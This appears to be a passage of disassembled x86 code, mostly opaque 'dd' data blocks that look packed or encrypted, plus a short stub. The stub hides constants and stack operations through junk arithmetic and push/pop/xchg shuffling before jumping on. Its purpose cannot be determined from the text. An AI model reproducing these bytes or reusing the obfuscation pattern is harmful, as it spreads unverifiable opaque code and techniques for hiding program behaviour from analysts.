		dd 8A721D78h, 0D0BF7639h, 687h,	5B3B8ED4h, 280851A0h, 0FBDB206Dh
		dd 0CAAAEF40h, 9A7ABD0Fh, 136511EFh, 0EA35F0D0h, 0B606C1A1h
		dd 88D48F6Fh, 0F7DD6141h, 1F10EEDCh, 5C507DE7h,	0AAC80B5Dh
		dd 0A8D31C6Bh, 60A7F3AEh, 115DCE80h, 1C6DACCAh,	0DBF610D7h
		dd 0B4404CC9h, 44255097h, 6EB50544h, 0A8D21E43h, 0D00DCFBh
		dd 0D1B1E927h, 2414h, 115DBC00h, 0CA1603CAh, 0E2166583h
		dd 1F50DB9Fh, 7A418AD9h, 1CFD2860h, 1874926Eh, 0E8A585CCh
		dd 23h,	0CA115D90h, 0CC6D3A03h,	0E7B9E123h, 0CC507A95h
		dd 0ED13E123h, 2A86A4C2h, 3A7997DEh, 0C7E1A8EDh, 5DF0A29Ch
		dd 5AACCA11h, 23CC0B3Fh, 0E9CFD8E1h, 16BE6090h,	52335E96h
		dd 0E705DB2Fh, 604C8BCCh, 9CBAE0E7h, 0ACCA115Dh, 13DA216Dh
		dd 19D4CEF9h, 4724A3CDh, 36519AE5h, 578F0A73h, 43196D90h
		dd 51160A25h, 444DE15Ch, 35B7D442h, 7997CFC4h, 0C7A7EE3Ah
		dd 0B279C00Ch, 47653B8Fh, 5A63EF2Ch, 0BD6FCE7h,	39841EEAh
		dd 70CDBC73h, 0BD000005h, 89442477h, 5611F13Ah,	29E4C409h
		dd 0F8B393D8h, 0D88363A6h, 0B9FC4EE8h, 8AD31ED9h, 589FEFAAh
		dd 2A71BD78h, 0C5E0C64Ah, 0E71F1185h, 4A453966h, 0AF76B90Bh
		dd 33357A95h, 8B6BD7EEh, 0A8EF3B60h, 97C10DC8h,	0BCDF6EFAh
		dd 8F80B52Ch, 0A6A3415Ch, 3E3E053Dh, 0A168AFFFh, 0EC4486A1h
		dd 127E123h, 2D799EC9h,	887E1FE6h, 7BC20E6Ah, 418ECD9Bh
		dd 0F01B35FCh, 28AC4BE6h, 0CAE53736h, 0E123E080h, 0C384C719h
		dd 4E38729Dh, 0EA000000h, 4C135CABh, 27EB0732h,	8DDFFDD3h
		dd 0F3BA034Eh, 0CCF2D8F3h, 4B71E123h, 0C4E7E813h, 9FE75B1Ah
		dd 0CC1C5B79h, 25186785h, 0C18E1E5Eh, 0A63D3762h, 0E714C8DAh
		dd 637EABF7h, 0E714C867h, 642568BAh, 6B26063Eh,	1E0DD41Bh
		dd 497h, 52FB4AC6h, 13FA47A6h, 86D2F722h, 0ED51C6Ch, 579CE9F4h
		dd 1F6B581Fh, 0B307F8D8h, 2E6DBFDDh, 97B39AE3h,	54E1231Eh
		dd 8FD8232Eh, 1C112C64h, 0D7E75A37h, 36C8C5CEh,	0DBF98DE5h
		dd 14828AC0h, 0FB3359E7h, 82236B34h, 8896E714h,	0D708296Ah
		dd 20783C5Fh, 46000000h, 0DFFDD327h, 5AECDBC4h,	13DA00E7h
		dd 14D37C4Ah, 496775E7h, 5FAC2908h, 11B573Ch, 5D250000h
		dd 64ABF711h, 2678652Ch, 0B57CC510h, 6F17809Bh,	6DB5B10Ch
		dd 35816E35h, 0EE3A27EEh, 783F82D4h, 0B90EC07Bh, 91C9FB3Fh
		dd 9DE27959h, 8CE12398h, 8FD62640h, 70BC7757h, 9EB90B29h
		dd 0E12387ACh, 0E39F363Fh, 0B435D880h, 15CC617Ch, 87305545h
		dd 4587B5Ch, 81D1102Eh,	92A6AF57h, 2F676D8Bh, 98B1CC04h
		dd 4BE75AE3h, 7AB80725h, 0C5409FD2h, 6F7F11Ch, 0F258F9B2h
		dd 1BF6C141h, 3686C5E3h, 0E30E28EFh, 135590ABh,	789EE16Ah
		dd 0A0C91B5Ah, 7CE1561h, 10C406EDh, 81A7E12Dh, 0BED92B49h
		dd 0E12D108Ch, 140E395Fh, 0C3DE0759h, 0E12D1087h, 0E1333E64h
		dd 85BDD79Eh, 0BD524BBAh, 7E6D243Fh, 35Bh, 2F0F62A8h, 0FCDC2574h
		dd 0CFAFF441h, 9E7EC314h, 6E4E91E3h, 0E739FDC3h, 0BE09C4A4h
		dd 8ADA9575h, 5CA86343h, 0CBB13515h, 1F139AB0h,	281C49E7h
		dd 8EBB0B4Ah, 23CC5773h, 0B6EE14E1h, 0D114668Bh, 0DC2574B3h
		dd 0B0FCB7B1h, 69BB8969h, 23CC7C4Eh, 9EC9EFE1h,	17D32782h
		dd 23CCCEFCh, 0C10653E1h, 84A2DA00h, 5AEC3C69h,	7A4167E7h
		dd 14D3E5B1h, 0B0CEDCE7h, 5FABC26Fh, 0DDBE3Ch, 5D8C0000h
		dd 1603CA11h, 0F1BA81C4h, 0E123D0ACh, 0CA17317Dh, 6CA4BE85h
		dd 516CBE8Ch, 0E123CF79h, 4A0B4EA0h, 86CD1924h,	0A3EA365Bh
		dd 8F65B9DCh, 90E01F71h, 3D688249h, 5AF50F3Ch, 0D6B6DCE7h
		dd 0BAD591E5h, 0E714E590h, 0EF122D53h, 217E855h, 277997CFh
		dd 6CFAF7D8h, 7691E8E7h, 0E714A654h, 8EB9F117h,	6A10AD8Dh
		dd 0FA183EE1h, 0D41769A8h, 89D0200Dh, 0AF012651h, 85F6B86h
		dd 0E60CE12Dh, 0C113CEAEh, 4A46B37Eh, 580F3FBDh, 24E69h
		dd 2559B00h, 0CF186722h, 0A2E734EFh, 71B607C2h,	4184D691h
		dd 2CCEB661h, 0FCB797DAh, 0CD8868B1h, 9B56367Dh, 0A428084Fh
		dd 2CA7A3BEh, 1744E71Fh, 0BAFB4A23h, 1B806FD7h,	0BA0C315Ch
		dd 90DC9777h, 9FEC2B49h, 57A6935Ah, 0F52D470Eh,	5D1ED0CAh
		dd 303CA11h, 0CCB496B1h, 1137E123h, 4875C1E6h, 23CC1D2Dh
		dd 70A8CEE1h, 81C61352h, 7B75A0BAh, 0D61F6EADh,	69DAF50Fh
		dd 0FB84D2E6h, 0C4103560h, 3F93B67Dh, 0B6626883h, 0DB01E123h
		dd 0F44685A3h, 53B096B1h, 0A11547A9h, 5E233E76h, 8DE75A36h
		dd 63B3A067h, 0EAB1FA49h, 0E4D198D0h, 9A874E93h, 233D0449h
		dd 0FF6B8949h, 0EADE5F4h, 0D0AAE2F9h, 4A96F210h, 5BA6E503h
		dd 54E4B12h, 0BA11F651h, 908AB5EDh
		dd 57754B9Fh, 0D364B305h, 0C919A89Fh, 0C0ECDEC5h, 597FE714h
		dd 541143Eh, 81ACA4F0h,	6DFB4380h, 33FA20E1h, 0ECB3FA46h
		dd 0B244623Eh, 186A885Eh, 23CBCDFDh, 4D789EE1h,	0E3D9FA15h
		dd 648AE75Ah, 2677B684h, 0D5001AE1h, 0FF1D64B0h, 364670C0h
		dd 0CFA407D0h, 67814880h, 1E6E5B3Ch, 0D42310D7h, 8AD7C48Bh
		dd 0C47E45h, 0BF7F59E2h, 0B2F945A1h, 0D48DE1D2h, 51A11DA8h
		dd 1166EF0Ah, 56A8C6FEh, 0BA44D707h, 435D2469h,	0A8543C28h
		dd 0F1377C7Dh, 2834E16Dh, 23C23D0Dh, 5088AEE1h,	9509C89h
		dd 0A8C68642h, 0CEECC216h, 126B2D7Ch, 26BC30A2h, 23A33F0Bh
		dd 4E86ACE1h, 89512223h, 6C92E75Ah, 0E9E1FC4Eh,	7AE714BAh
		dd 27EE3581h, 0B0AAD50Dh, 75C26BBFh, 314F6930h,	14BA3416h
		dd 5991B7E7h, 0FCCEE93Bh, 6FE714BAh, 0BA024863h, 0BBE1E714h
		dd 0E3267883h, 186580B8h, 3E157EAh, 0D71616DDh,	0EF143F88h
		dd 0AE7C5CA3h, 0ADD81F6Fh, 2EF53C88h, 89C1DC2Eh, 5AE1286Ah
		dd 18080934h, 40EF4318h, 85D74664h, 0C9B606Ah, 0B2DD03EFh
		dd 0F914418Dh, 0EF0C9BD1h, 869B9D38h, 0ECAD97F1h, 0F3AE8EC6h
		dd 0AC9960A7h, 934F165Bh, 0E22B7AB9h, 99DC2E1Bh, 0FA183661h
		dd 0ED38529Eh, 0A5C3DDA4h, 0CF9408Ah, 0C5FD23EFh, 0AAC517E5h
		dd 0EF0CF9A0h, 0CDF21D43h, 84733A81h, 3, 5D36282Ch, 10FDC417h
		dd 0C9B67DC4h, 7E6B3279h, 3623EA33h, 0EDDAA1E4h, 0A491589Bh
		dd 5A470E53h, 1401C80Dh, 0C3B57CC5h, 67D068h, 243C8900h
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68242C89h, 577Eh
		dd 57243489h, 17670DBFh, 0F7D7F736h, 5E7C1DFh, 755ABE56h
		dd 0F7293D97h, 0EF81475Eh, 7F189BC7h, 545FFD89h, 8324348Bh
		dd 895704C4h, 87E89EFh,	83243C8Bh, 34FF04C4h, 0C4815E24h
		dd 4, 50242C8Bh, 405E089h, 83000000h, 48704C0h,	0AFE95C24h
		dd 1AFFFA9Ah, 35B85A24h, 3063CE3h, 89E0FFC5h, 0C94F64DEh
		dd 6656C5FDh, 4A345A92h, 0C7885E1h, 506FA6DBh, 1F7B8C8Dh
		dd 0EB364936h, 0FB7F4D08h, 40000001h, 0BDBE902h, 0B8680000h
		dd 0E9063CE5h, 0FFFB65A5h, 3CE6CE68h, 659BE906h, 8168FFFBh
		dd 0E9063CE8h, 0FFFB6591h, 3CE93B68h, 6587E906h, 0D068FFFBh
		dd 0E9063CE9h, 0FFFB657Dh, 3CEB7668h, 6573E906h, 1568FFFBh
		dd 0E9063CECh, 0FFFB6569h, 3CED2068h, 655FE906h, 2268FFFBh
		dd 0E9063CEEh, 0FFFB6555h, 96CFACEDh, 0E21BDA3Eh, 2C65188Ah
		dd 7BB449D4h, 0C6FFFC23h, 48CF4FD8h, 821A72ABh,	356AC2FBh
		dd 63B70F48h, 0E6F45D96h, 0A9A09ED8h, 0A803B17Bh, 0E109F42Ah
		dd 0ED273569h, 81E684h,	1A80102Dh, 0C0EA155Fh, 0EFEA73B2h
		dd 0AF05829Fh, 8E94DB84h, 0C4FE0C4Bh, 0D1387923h, 0C32E84EEh
		dd 99254E1h, 8886ADCAh,	940A408Ah, 7F41CCE7h, 0B4A6595h
		dd 52E774E3h, 0FC63479Ah, 2B6573BDh, 3E81E59Eh,	8CC04E6Bh
		dd 9E104A58h, 481B81E5h, 0B6AEC32Bh, 0EEC1881Ch, 873674C6h
		dd 5077BAEh, 0E0B0689Dh, 41E2EFB1h, 89000000h, 4F997B93h
		dd 1DA4E441h, 8317F788h, 0C23C0FF4h, 79B8E503h,	67BAF03Ah
		dd 2C8C7994h, 3372E3BDh, 15819E0Bh, 0AF1E85C3h,	4E54567Bh
		dd 0EE174C77h, 2C8777CAh, 2009C10Fh, 0D23BEFB2h, 0E2000000h
		dd 0B0EAF82Ch, 0BB81E684h, 0E73BCBE8h, 2178F21Ah, 28D547h
		dd 0D40A5493h, 2B97B449h, 19836DB1h, 0F37C457h,	0FC2463A2h
		dd 17611C82h, 8B68ADE3h, 98D2F663h, 0A381E684h,	636B3D0h
		dd 81E68995h, 0E915BBFh, 99D8456Dh, 0F885194Fh,	90065EDBh
		dd 62ACBDE5h, 5B5866B0h, 6C881D9Ch, 9D716099h, 29512C72h
		dd 25337DBCh, 81E916F3h, 179A21F6h, 0E69E3E4Dh,	4483C2B3h
		dd 0A90C6FAh, 0BDDA476Fh, 0D009EA2Dh, 5542178h,	0CF7DF99h
		dd 3D28637Fh, 72000009h, 0C31B5429h, 0F67A05Dh,	59B1EA87h
		dd 0A80039C2h, 5D4B8471h, 36C75ACAh, 8677A5FDh,	0D3A0F54Dh
		dd 21DC429Ah, 63717FE8h, 7BA9A029h, 2A2B8634h, 86BC06F7h
		dd 0CD4A6716h, 1B542175h, 0EAF82CFEh, 81E684B0h, 0B946DBBBh
		dd 0D8365D7Ah, 0AEBCF03Ah, 81E68474h, 8673A787h, 95B2F15Eh
		dd 0A49CF907h, 5C2F881Dh, 0CA91BC34h, 502D72EDh, 0CA7ABB28h
		dd 0FA627FB7h, 7BAEF2BCh, 2D552078h, 668E63B3h,	28A8FA06h
		dd 316197F1h, 8AA7143Ch, 0FFB74E54h, 31EFB250h,	0D7h, 9F42AD8h
		dd 433067E1h, 0A15EC3F9h, 0E09DFF79h, 0C61884A1h, 81E68955h
		dd 0A5DE9BFFh, 0E22CC94Dh, 9485E1B7h, 0DAF78142h, 63B15D6Eh
		dd 0A3B1E519h, 81E5BC69h, 9B37E828h, 0F7EC5037h, 0A29F0724h
		dd 35881CA6h, 0D43A2962h, 94C8FC46h, 0AEA44C86h, 1A7F5F7Bh
		dd 89C8355Dh, 51C1046Ch, 5B2E81E8h, 0BB2DD11h, 2B68BE09h
		dd 2970001Dh, 64BB134Ch, 52544897h, 324E0CF7h, 827F7h
		dd 3EC35C00h, 8A6BAD05h, 0D4A9F951h, 23D8439Bh,	6E0F92EAh
		dd 40E04735h, 8BE31CD9h, 0DB336C11h, 2880B946h,	65CE07F2h
		dd 9F0F4957h, 6C1A7BA9h, 2F012C11h, 0CAA9E2CAh,	6EB1415Eh
		dd 0CE4E1680h, 5B9A072Fh, 5FA6C433h, 0D9E52459h, 0CA225B9Ah
		dd 1A70A954h, 98C0BDE4h, 2AB90E2Bh, 67E109F4h, 1E0D4633h
		dd 0A2D822F0h, 0E8557D70h, 822F3DCBh, 95881DA5h, 0FA209AC2h
		dd 0E78AB5FFh, 0F3049AC4h, 0C71F9CB9h, 2C7EA653h, 2F5510Fh
		dd 41691289h, 1081BBC9h, 0B98C0075h, 21492A6Dh,	9C7DB9Bh
		dd 0B3109210h, 1448926Fh, 7510CC06h, 69148800h,	0FFDFD441h
		dd 45B2DA97h, 146CE906h, 79CBF38Eh, 75113Ch, 0AFD7A2F8h
		dd 0EA12E335h, 706042C6h, 19ACF67Ah, 18FB65EEh,	0FF4B0796h
		dd 4AB7DF9Ch, 7C799D2Dh, 0D9A4FC32h, 0A3F844B1h, 2441AED6h
		dd 0F1D51A7h, 7542D5h, 68F815E8h, 0F42E3C32h, 7007542h
		dd 7BCDF534h, 75433Ah, 0AD168C58h, 5E1B7F69h, 518AC936h
		dd 54CBA5F9h, 3978059Ah, 6E7CB0FAh, 357C834h, 0EB577447h
		dd 9CE634DAh, 8ED2458Eh, 8AC39609h, 57A1739Bh, 63D9A849h
		dd 7FA3830Fh, 0C5F94382h, 57C87DB7h, 0A0BD9003h, 0C8A5E234h
		dd 72740357h, 231DD530h, 0EA20775Bh, 4DACC9B4h,	410h, 851852F4h
		dd 0B6F481E6h, 9A81E694h, 81E67944h, 0E6721A58h, 4DCF3F81h
		dd 87C1CF03h, 9281E671h, 2D6775BFh, 4081E672h, 8EC2506Dh
		dd 4C33C058h, 9407FF2Ah, 0E8557DBCh, 0E90663CBh, 6D9881Ch
		dd 20E2FBB7h, 72ADC913h, 674h, 528B70A9h, 9ED7A6FAh, 0E821DC46h
		dd 37700D90h, 82BBB8DFh, 148B9394h, 46D62E67h, 0F1267EB7h
		dd 2F73CB04h, 0A2B01952h, 0A99D5A94h, 5CB7657Bh, 0E109F42Ah
		dd 92DC3ED0h, 0B3FF2A5Eh, 0AAA26654h, 0E5F93357h, 69AD81E5h
		dd 83C4978Ch, 0ABA1107h, 3AA2BF89h, 8822A7D6h, 86BC06D9h
		dd 0C744611Ch, 0CA44D883h, 6BF0FE48h, 7C81E185h, 17129EA9h
		dd 0BA313CC1h, 9865B954h, 0A7DB0F59h, 7C495F99h, 168A6AD2h
		dd 0A30B2867h, 0D8B3787Ah, 0F26A9265h, 0A8F61BCh, 99D8456Dh
		dd 0C0E70471h, 7482CC4Eh, 0DEC0AC4Ah, 2388255h,	50A8E19Ch
		dd 20E02FCAh, 0BABC535Eh, 5BA639Eh, 0AEEF0000h,	0D84098D1h
		dd 1A8CE41Dh, 47D62E67h, 0F2257DB6h, 4DDAC801h,	78B142D5h
		dd 0C801FC20h, 154E2B70h, 639C59BDh, 0A4DEECFAh, 0B77BA99Bh
		dd 7B93AE09h, 94414F99h, 87881DA5h, 8C128CB4h, 24A2C9F1h
		dd 0B260AE7Eh, 85AD5A68h, 0EBBE81E6h, 854482B2h, 0D70281E6h
		dd 3B74BEC1h
		dd 6BD3F078h, 81E5B331h, 0D245C04Eh, 4D8CF921h,	9691F503h
		dd 41148822h, 5390C719h, 1F4A7BAAh, 4AE94E36h, 7AE2FF09h
		dd 7BAA443Bh, 0ED3C395Dh, 6ACF309h, 2578B3CFh, 5A000005h
		dd 0AB033CC1h, 0F74F8875h, 4199D2AFh, 90E821DAh, 45336C09h
		dd 1EDF42E2h, 6E0F8DE5h, 0BBB8DD35h, 9F42A82h, 4B5967D0h
		dd 7BA99C11h, 93136E1Ch, 71A4977Bh, 0E23E2D57h,	0E74B59A3h
		dd 0C688235Ch, 3F75A9F3h, 89F61EDBh, 0A9962B65h, 4E6B3E7Bh
		dd 0EC346AE2h, 5F7CE911h, 64AE4BCFh, 7F04CC39h,	0DDFADD45h
		dd 7E9E7160h, 0BB46DC56h, 0FEF42A82h, 0AA17B6F0h, 4E2F727Bh
		dd 0FD478659h, 18E265D2h, 0C2DF202Ah, 0BB46DC56h, 5D936F93h
		dd 0E7212F3Bh, 0F27BAA5Ah, 8DC3E01Fh, 8D68AE15h, 0B8863E54h
		dd 63B8EFADh, 26000001h, 9D89EAFBh, 0B7D46C1Fh,	997B9362h
		dd 1AF01B4Fh, 35B0CDDEh, 97E04865h, 48881D7Ah, 0F385C73h
		dd 3E880DD3h, 0AF48F630h, 0F736097Bh, 49417DCFh, 0CF537BAFh
		dd 67B559D3h, 52C60F1Dh, 461981E6h, 9461B50Dh, 0F08D144Ah
		dd 0A9ED67D3h, 6AA493CCh, 3B505EA8h, 0C881D69h,	81BF1139h
		dd 527BAF58h, 0FBB35250h, 2DEFB2B2h, 25h, 997B93D4h, 0F687194Fh
		dd 0E03D4BD9h, 0F3881DA4h, 68A6F820h, 397BAF66h, 0E29A6B37h
		dd 14EFB2C3h, 0BDh, 9F42ABBh, 0EF3E69E1h, 5676A2CDh, 99D3E12Bh
		dd 0A481E590h, 0FD24B4D1h, 2A60D800h, 58E805F8h, 950F37C2h
		dd 0B3B7401h, 81E5959Ah, 2CF295C0h, 0A7ADFDA5h,	0E5E95F99h
		dd 58976A81h, 8A77AB3Bh, 6EAC6251h, 97511624h, 0BF92881Fh
		dd 1BD83F75h, 22588CE2h, 0A5DF03FAh, 0B87BAD52h, 0E138C8E5h
		dd 674FC514h, 91AD1322h, 37F56h, 966BB400h, 0E293055Dh
		dd 2CC151A9h, 7B009BF3h, 0C6B7EA42h, 98889F8Dh,	0E33B7401h
		dd 338BC4B9h, 80D811EEh, 0BD265F1Ah, 9A67A1AFh,	0C4727BA9h
		dd 6F72A69h, 611C86BCh,	2B6FC744h, 0A71A1843h, 548A9FCDh
		dd 0E5C5F630h, 0EA360981h, 538CCBB2h, 7F42A36h,	9B9EECEBh
		dd 0E9115010h, 0DA412B6Fh, 4D8CF921h, 1452F714h, 0F881E705h
		dd 81E604BAh, 0BCE02FDFh, 2A3882C1h, 8822E8C6h,	1D2E5629h
		dd 0A5D923F1h, 0AA225D97h, 809D707Bh, 34C3E4F2h, 0D9AC81E1h
		dd 0F4A5808Ah, 7425E0Ch, 2E0h, 0BEF78415h, 0A433266h, 548D60B2h
		dd 0A3DCA1FCh, 0EE27D44Bh, 0A0F72700h, 0DA429AD3h, 0D92EA23h
		dd 0BBDF3770h, 0E1C85BEh, 0A998C600h, 0D02BD97Bh, 0E109F42Ah
		dd 0D463367h, 917F01Eh,	81E684CFh, 7EC807DAh, 1D9E5B70h
		dd 71996C88h, 0AF6BE11Fh, 0F2B0B27Bh, 7E7F9DD3h, 0C55B1361h
		dd 298DEFB2h, 34000000h, 4F997B93h, 1DA4E441h, 5B77A288h
		dd 0E1930ED5h, 1FF22B48h, 1D67A5F7h, 36387BAFh,	7AE1996Ch
		dd 0D413EFB2h, 0BA000000h, 0E109F42Ah, 2A383067h, 81E684F0h
		dd 0C1E928FBh, 0FE26D347h, 19631E84h, 0A5C2BFE3h, 8987F828h
		dd 6DB181E6h, 9BFF5790h, 69A5B6DEh, 1A5361ABh, 25881DABh
		dd 98C31952h, 0A8194466h, 0A44523Dh, 157BAF79h,	0BFE60342h
		dd 4D83CD4Fh, 800E2BC8h, 0E92AA772h, 8BB8E381h,	0B84B3E0Ah
		dd 0F2ADE7F5h, 0EDC081D7h, 403D62AEh, 0CD17EA23h, 3A730097h
		dd 6FBEBFE2h, 0CF7C769h, 0D50C4763h, 0A000001h,	5BB3EC91h
		dd 0A7FF38C5h, 0F149827Fh, 4098D1AAh, 0F5E31CD9h, 0CEAFF232h
		dd 1EDF3D95h, 6B088DE5h, 0B944DA32h, 0FB091780h, 7BA997C1h
		dd 2AC31ECCh, 77CD06F7h, 4A43974Ch, 346AF9C2h, 5DED0A49h
		dd 0BEF23C39h, 0E63476B0h, 99B68981h, 0D90C61Ch, 2CFE5370h
		dd 0ABD3A2F6h, 0CF0EEF31h, 91838BB2h, 0A4DC3947h, 0FEF881Dh
		dd 0BBB8DF89h, 0A8E72693h, 7F4285Eh, 5A05EC52h,	0A8D00FD9h
		dd 60B21E3Bh, 7BAF1422h, 54B1F1F3h, 0EFB2719Ch,	0A9CEh
		dd 0F42A7500h, 3067E109h, 0E911EC36h, 0C3153D7Ch, 81E68952h
		dd 0ACE59006h, 0FEFB2056h, 37CA5CD6h, 0D74BDBF8h, 1DF1022Ah
		dd 6EA7B5FFh, 81881DABh, 888675AEh, 0E10C408Ah,	888785D4h
		dd 0EA2432C9h, 0F57BAF04h, 5EC6E322h, 81E8B334h, 0D60A5427h
		dd 575A94A2h, 856581D8h, 0CE3B6310h, 0BFE2728Fh, 0EA2D85BEh
		dd 6334BA09h, 66820CF7h, 0D32Bh, 0EA970800h, 36C759B1h
		dd 807DA5FDh, 0CFACEF47h, 1ADB3E96h, 0EC34F3E1h, 378FC8B5h
		dd 87DF18E5h, 0D42C6512h, 117AB34Eh, 96BBF503h,	20CE7BA9h
		dd 6F72AC5h, 542175CDh,	0F62CFE1Bh, 27B7D4A1h, 64DE06F3h
		dd 0C3F9433Eh, 4F89975Fh, 5A81E685h, 0B1204887h, 288F7ADCh
		dd 819EDDCCh, 1BF91504h, 0EA5BC3D1h, 6F428822h,	0AC49CD47h
		dd 0B3E71D73h, 0F0319EC6h, 1EFEE64Bh, 26B6D3FFh, 0D00103F0h
		dd 0EB5B43B4h, 34A1C9B6h, 3C8EB6F5h, 837126A4h,	4A7929A7h
		dd 9AF029D4h, 61E5866h,	5E317FEBh, 0C9F18C12h, 6BAF3F5Ch
		dd 0B8EE668Eh, 0E7779461h, 527DC7B4h, 0B5F4FD41h, 0E14D6AA6h
		dd 0BC079B5Bh, 0A629B66h, 86C1E994h, 8,	7F7EA2D8h, 2C310D62h
		dd 0E40CF12Ah, 2149346Ah, 5D8572A7h, 9CC4B9E3h,	0D6FEFF22h
		dd 1038C55Ch, 4E760796h, 87AF42D4h, 0C2EA8B0Dh,	58545031h
		dd 405h, 4E88300h, 5C240487h, 81E18951h, 4C1h, 4E98300h
		dd 5C240C87h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 5A0D6191h
		neg	ebx
		inc	ebx
		add	ebx, 23540F80h
		add	ebx, 3CF6364Dh
		push	ebx
		pop	esi
		pop	ebx
		push	0C88h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		push	ebp
		mov	ebp, 2D2E6CA6h
		add	[esp+4], ebp
		pop	ebp
		pop	dword ptr [ecx+8]
		sub	dword ptr [ecx+8], 2D2E6CA6h
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5515E1
; ---------------------------------------------------------------------------
		dw 75F3h
		dd 4038A100h, 0A24645F2h, 645E263Ah, 0EF1AB8B6h, 0C503063Ch
		dd 0DD60E0FFh, 0C551C1Eh, 0DBC35FA3h, 9634488Dh, 1E4B43A3h
		dd 0C1FB603Fh, 0AEE46CA5h, 4A2F4856h, 32540B27h, 8D8D1826h
		dd 63CF0B6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	16C35545h, 6033F96Bh, 758D8952h, 6A063718h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 98BFC350h, 61B589A4h, 0C7063705h, 37119585h,	5C5406h
		dd 4FD4BE00h, 880F01FBh, 1, 8185C7F9h, 6370Fh, 0F000000h
		dd 0B5FFF8B7h, 637209Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0CDC35646h, 0D2F13D88h, 0F88B4198h, 6860Fh
		dd 958B0000h, 6371731h,	129195FFh, 85290637h, 6371D09h
		dd 11850160h, 8B06370Ah, 37321185h, 6A6106h, 321995FFh
		dd 0C08B0637h, 30884EEBh, 4D48052Ch, 25AB6B58h,	77591529h
		dd 8EB3B107h, 0EB05E13Ch, 0D3131E94h, 6B84F43Ch, 0BB227627h
		dd 0E6029C14h, 0AD7FDA63h, 85D5D31Ah, 17A2E588h, 5A4BF58Dh
		dd 0CD2151D8h, 0BC0EB168h, 2E56EF50h, 599ACA26h, 7C70A72Eh
		dd 7D3108CAh, 11E8h, 0FB9A9C00h, 7B281875h, 2198B23Dh
		dd 4DF3856h, 858B66BAh,	6371F59h, 0D881665Eh, 0C6816352h
		dd 5960h, 0B9C7BF66h, 68h, 0F98B6600h, 890F5Bh,	0FF000000h
		dd 8D893334h, 6371931h,	0C38B665Ah, 3B09C281h, 81F85783h
		dd 0B2C276F2h, 6820F45h, 89000000h, 37009D85h, 8CF28106h
		dd 8948A557h, 370DB1BDh, 1E148906h, 196DBD8Bh, 858B0637h
		dd 63707B1h, 65A8EB81h,	0DF817AC9h, 23F9D86Ah, 65A4C381h
		dd 0ABF7AC9h, 81123FD0h, 0FFA73CFBh, 9C850FFFh,	81FFFFFFh
		dd 5FC1DDF1h, 0DE860h, 23BD0000h, 4E5035A2h, 1954B584h
		dd 8975CBBFh, 3725C585h, 95895B06h, 6370F79h, 5B43C381h
		dd 8A0F0000h, 6, 799BD01h, 99BF0637h, 80000016h, 338B72F0h
		dd 11E860h, 4D3D0000h, 0D635A07Bh, 0DABCB8BBh, 5F9C3FB2h
		dd 6697F28Ah, 0F5FD08Bh, 682h, 49BD2900h, 61063717h, 663CEE81h
		dd 89605430h, 372DE995h, 5E95606h, 50000000h, 900DABD3h
		dd 0EE81615Eh, 1C46016Ch, 0F6818DB6h, 4909A459h, 25458D8Bh
		dd 33890637h, 31B58531h, 0EB810637h, 26799B11h,	31DD8589h
		dd 0C3810637h, 26799B0Dh, 7E27C281h, 0EF831F2Fh, 14850F01h
		dd 1000000h, 3730DD8Dh,	23E906h, 0C6E30000h, 1307F957h
		dd 8BA6B74Ah, 370C7585h, 0FF60E906h, 4F1DFFFFh,	6B653A7Bh
		dd 3210BAE6h, 512C1C3Fh, 79EB4Dh, 8CEF9E7Dh, 0D60FE221h
		dd 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch
		dd 0A9B6F377h, 609EB794h, 897D60D7h, 8C9EA9BDh,	0E3729EBDh
		dd 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h,	0B594A19Eh
		dd 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh
		dd 0B79BB7D6h, 0ABAFF600h, 9F8995h, 0C77156F0h,	0BEB3D7h
		dd 0D7567118h, 73E2ADC4h, 6B2965F9h, 0F2FE9h, 0F4EF6800h
		dd 3BE9063Ch, 68FFFA8Bh, 63CF5E2h, 0FA8B31E9h, 0F6A868FFh
		dd 27E9063Ch, 68FFFA8Bh, 63CF847h, 0FA8B1DE9h, 0F8C468FFh
		dd 13E9063Ch, 68FFFA8Bh, 63CF982h, 0FA8B09E9h, 0FA1468FFh
		dd 0FFE9063Ch, 68FFFA8Ah, 63CFAD3h, 0FA8AF5E9h,	0FB7868FFh
		dd 0EBE9063Ch, 68FFFA8Ah, 63CFC62h, 0FA8AE1E9h,	0FD7668FFh
		dd 0D7E9063Ch, 68FFFA8Ah, 63CFFA4h, 0FA8ACDE9h,	0AB68FFh
		dd 0C3E9063Dh, 0C5FFFA8Ah, 914C2C7Fh, 5E19F942h, 31ECCC11h
		dd 0BB9BE0h, 0E08B6BAEh, 0C10456E0h, 92DB26E1h,	60A7F7B2h
		dd 3279C580h, 0CDE8CE52h, 0E71F3FFDh, 5D4D416Eh, 1603CA11h
		dd 0B2A383CAh, 186A885Eh, 0F7638DD9h, 328F82CDh, 708336Bh
		dd 0E75A15E6h, 0C790577Dh, 0E71425FFh, 57C6E4F2h, 0BC83C618h
		dd 25A9A1BCh, 143AE714h, 8AA7B1DCh, 0F63C6071h,	4Ch, 0BB0B4AC4h
		dd 9AEE4974h, 4339CAE1h, 809B245Bh, 0E123534Ah,	83BBF319h
		dd 90D52665h, 65122D65h, 8EE75A73h, 0DDF84A68h,	0E7144CEDh
		dd 4C2D587Eh, 144C3B83h, 82A0AEE7h, 600CF041h, 0DD903Ch
		dd 0F3420000h, 6752DAA7h, 7C98C3E5h, 0ACCA115Dh, 0AED9226Dh
		dd 4B8EE0CDh, 0FA458484h, 156186B1h, 0CE1A07CEh, 592069B4h
		dd 97E9073Fh, 23CC4E7Ch, 0CCF71DE1h, 0D07A3BD2h, 0DB27E123h
